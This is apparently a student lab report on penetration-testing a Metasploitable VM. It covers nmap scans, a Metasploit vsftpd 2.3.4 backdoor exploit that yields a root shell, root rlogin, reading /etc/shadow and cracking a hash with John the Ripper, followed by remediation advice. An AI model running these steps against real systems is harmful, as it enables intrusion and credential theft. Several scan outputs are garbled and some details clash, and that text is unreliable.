A Ethical Hacking Project Report On

Network Penetration Testing with Real-World Exploits and Security Remediation

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Project objectives

Introduction:

This project is based on performing penetration testing in a controlled lab environment to simulate attacks that hackers may use to exploit real systems. Using Kali Linux as the attack platform and Metasploitable as the vulnerable target system, I explore various stages of ethical hacking including scanning, enumeration, exploitation, privilege escalation, and remediation. The purpose is to gain hands-on experience in identifying, exploiting, and mitigating vulnerabilities responsibly.

Abstract:

Network penetration testing is the process of evaluating a system's network security by simulating attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers do. It

includes multiple phases:

- **Reconnaissance:** Gathering information about the target.
- Scanning & Enumeration: Actively probing to find open ports, services, and vulnerabilities.
- **Exploitation:** Gaining unauthorized access using known exploits.
- **Post-Exploitation:** Activities like privilege escalation or data access.
- * Remediation: Providing security measures to patch vulnerabilities.

Project requirements:

Two Operating System

- ➤ Kali Linux (Attacking machine)
- Metasploitable (Target Machine)

Tools Required:

Tools	Description
Kali Linux	The attacker machine, containing pre-installed penetration testing tools.
Metasploitable	A vulnerable machine to practice attacks on.
Nmap	For network scanning, port discovery, OS detection, and service version enumeration.
Metasploit Framework	For exploiting known vulnerabilities in services running on the target.
John the Ripper	For cracking hashed passwords obtained from /etc/shadow.

Tasks:

Network Scanning

Task 1: Basic Network Scan

> nmap -v 193.168.73.129

```
Completed ARP Ping Scan at 13:33, 0.09s elapsed (1 total hosts)
Initiating Parallel DR resolution of 1 host. at 13:33
Completed Parallel DR resolution of 1 host. at 13:33
Scanning 19:2.06.37.119 [Uses 13:32]
Discovered open port 12/100 on 12/100.000
Discovered open port 21/100 on 12/100.000
Discovered open port 23/100 on 12/100.000
Discovered open port 33/100 on 12/100.000
Discovered open port 43/100 on 12/100.000
Discovered open port 33/100 on 12/100.000
Discovered open port 13/100 on 1
```

Task 2 - Reconnaissance

Task 1: Scanning for hidden Ports

nmap -v -p- 192.168.73.129

Output:

```
Discovered open port 32/top on 192,168,73.129
Discovered open port 3
```

Total Hidden Ports = 7

List of hidden ports

- 1.8787
- 2.36588
- 3.53204
- 4.53452
- 5.59437
- 6.3632
- 7.6697

Task 2: Service Version Detection

nmap -v -sV 192.168.73.129

Output:

```
Output:

Initiating Service scan at 14:01
Scanning 23 services on 192.168.73.129
Completed Service scan at 14:01, 36.25s elapsed (23 services on 1 host)
NSE: Script scanning 192.168.73.129.
Initiating NSE at 14:01
Completed NSE at 14:01, 8.21s elapsed
Initiating NSE at 14:01
Completed NSE at 14:02, 8.03s elapsed
Namap scan report for 192.168.73.129
Host is up (0.0031s latency).
Not shown: 977 closed tep ports (reset)
POWT
STATE SERVICE
VERSION
22/tcp open ftp
Vsftnd 2.3.4
22/tcp open sp
Postfix smpt Postfix
                     tead data files from: /usr/share/nmap
service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
mmap done: 1 IP address (1 host up) scanned in 66.62 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)
```

Task 3: Operating System Detection

nmap -v -O 192.168.73.129

Output:

```
Discovered open port 1524/tcp on 192.168.73.129
Discovered open port 2121/tcp on 192.168.73.129
Completed SYN Stealth Scan at 14:05, 0.30s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.73.129
Whap scan report for 192.168.73.129
Host is up (0.0027s latency).
Yot shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
22/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open probind
119/tcp open probind
119/tcp open microsoft-ds
512/tcp open shell
1099/tcp open misegistry
1524/tcp open ingresiock
2040/tcp open frs
2121/tcp open fcproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5080/tcp open yostgresql
5080/tcp open yostgresql
5080/tcp open yostgresql
5080/tcp open inc
508
```

Task 3 - Enumeration

Target IP Address – 192.168.73.129

Operating System Details -

MAC Address: 00:0C:29:FA:DD:2A (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)

PORT	STATE	SERVICE VERSION
21/tcp	open ftp	vsftpd 2.3.4
22/tcp	open ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	Open telnet	Linux telnetd
25/tcp	open smtp	Postfix smtpd
53/tcp	open domsain	ISC BIND 9.4.2
80/tcp	open http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp	open rpcbind	2 (RPC #100000)
139/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP
445/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp	open exec	netkit-rsh rexecd
513/tcp	open login	OpenBSD or Solaris rlogind
514/tcp	open tcpwrapped	
1099/tcp	open java-rmi	GNU Classpath grmiregistry
1524/tcp	open bindshell	Metasploitable root shell
2049/tcp	open nfs	2-4 (RPC #100003)
2121/tcp	open ftp	ProFTPD 1.3.1
3306/tcp	open mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	open postgresql	PostgreSQL DB 8.3.0 - 8.3.7
1	· · · · · · · · · · · · · · · · · · ·	1 · · · · · · · · · · · · · · · · · · ·

Hidden Ports with Service Versions (ONLY HIDDEN PORTS)

open vnc

open X11

open irc

open ajp13

open http

5900/tcp

6000/tcp

6667/tcp

8009/tcp

8180/tcp

PORT	STATE	SERVICE VERSION
8787/tcp	open drb	Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
3632/tcp	open distccd	distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
6697/tcp	open irc	UnrealIRCd
35851/tcp	open mountd	1-3 (RPC #100005)
36571/tcp	open nlockmgr	1-4 (RPC #100021)
44585/tcp	open java-rmi	GNU Classpath grmiregistry
51228/tcp	open status	1 (RPC #100024)

VNC (protocol 3.3)

Apache Jserv (Protocol v1.3)

Apache Tomcat/Coyote JSP

(access denied)

UnrealIRCd

engine 1.1

1. vsftpd 2.3.4 (Port 21 - FTP)

- msfconsole
- use exploit/unix/ftp/vsftpd_234_backdoor
- > set RHOSTS 192.168.73.129
- > show options
- > run

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >set RHOST 192.168.73.129
[-] Unknown command: ◆set. Did you mean set? Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > ▲set RHOSTS 192.168.73.129
[-] Unknown command: ▲set. Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) set RHOSTS 192.168.73.129
mst6 exploit(unix/ftp/vsftpd_236_backdoor) set RHOSTS 192. RHOSTS \Rightarrow 192.168.73.129 mst6 exploit(unix/ftp/vsftpd_236_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                        Current Setting Required Description
       Name
                                                                                   The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
       CPORT
       Proxies
                        192.168.73.129 yes
       RHOSTS
       RPORT 21
Exploit target:
       Id Name
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.73.129:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.73.129:21 - USER: 331 Please specify the password.
[+] 192.168.73.129:21 - Backdoor service has been spawned, handling...
[+] 192.168.73.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.73.128:37071 → 192.168.73.129:6200) at 2025-05-17 14:55:33 -0400
```

2. SMB 3.0.20-Debian (Port 443)

- search smb version
- use auxiliary/scanner/smb/smb version
- > show options
- > set RHOSTS 192.168.73.129
- > run

2. Exploiting R Services (Port 512,513,514)

- > nmap -p 512,513,514 -sC -sV --script=vuln 192.168.73.129
- rlogin -l root 192.168.73.129

Task 5 - Create user with root permission

- adduser admin
- password admin123
- cat /etc/shadow
- admin:\$y\$j9T\$Ev1akTxgCkRZiyhG4U2Ay.\$KSqlgjmfUSzK5bzp6v/LGhPuKxpliy.9/FcFIYMf3.B :20226:0:99999:7:::

Task 6 - Cracking password hashes

nano admin_hash

- john admin_hash
- john admin_hash —show

Task 7 - Remediation

1. FTP Service (vsftpd)

Current Version: vsftpd 2.3.4

Latest Version: vsftpd 3.0.5 (as of 2025)

Vulnerability: Version 2.3.4 is affected by a backdoor vulnerability where an attacker can gain a root shell if a malicious payload is sent. This is one of the most serious vulnerabilities in vsftpd.

CVE:

CVE-2011-2523

Reference: https://www.youtube.com/watch?v=G7nIWUMvn0o

Remediation:

Option 1: Upgrade to vsftpd 3.0.5

• Option 2: Disable FTP and use more secure alternatives like SFTP (via SSH)

2. SMB 3.0.20-Debian (Port 443)

• Service: Samba SMB

• Current Version: 3.0.20

• Latest Version: Samba 4.20.1 (as of May 2025)

- Vulnerabilities:
 - o **SMB version 3.0.20** is vulnerable to:
 - Remote Code Execution (RCE)
 - Null session attacks
 - Arbitrary file write/read
- Common CVEs:
 - o CVE-2007-2447 Samba "username map script" command injection
 - o <u>CVE-2017-7494</u> Arbitrary code execution
- Impact: Attackers can exploit these flaws to gain shell access, move laterally, or dump credentials.
- Remediation Steps:
 - o Disable SMBv1 and restrict access to trusted IPs only
 - Upgrade Samba to the latest stable version (v4.20.1)
 - o Harden the /etc/samba/smb.conf file to disable guest access and enable logging
- Reference: https://www.youtube.com/watch?v=HPP70Bx0Eck

3. R Services (Ports 512 - rexec, 513 - rlogin, 514 - rsh)

- Services: Rexec, Rlogin, Rsh (Legacy UNIX services)
- Status: Outdated, Insecure, and Deprecated

Vulnerabilities:

- o Transmit credentials in plaintext
- Vulnerable to MITM (Man-in-the-Middle) and replay attacks
- Weak or no authentication mechanism
- Allow unauthorized remote access if .rhosts files are misconfigured

• CVEs:

 <u>CVE-1999-0651</u> – R-services allow remote attackers to access without proper authentication.

• Impact:

 Any user on the network can potentially impersonate others and execute remote commands

• Remediation Steps:

- o Immediately disable the rsh, rlogin, and rexec services:
- Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0651

Major Learning From this project

Through this project, I learned how to create and manage users in Linux and how their details are stored in system files. I understood how passwords are saved in hashed format and how they can be cracked using tools like John the Ripper with wordlists. I also used Nmap to scan systems for open ports, detect services running on them, and check the operating system. For this, I used commands like nmap -v to find open ports, nmap -sV to find service versions, and nmap -O to detect the OS. I explored services like SMB and R services, identified outdated or risky ones, and understood why they should be updated or disabled. Finally, I learned how to find problems in a system and suggest fixes like updating software or using better configurations. This hands-on work helped me understand system security better.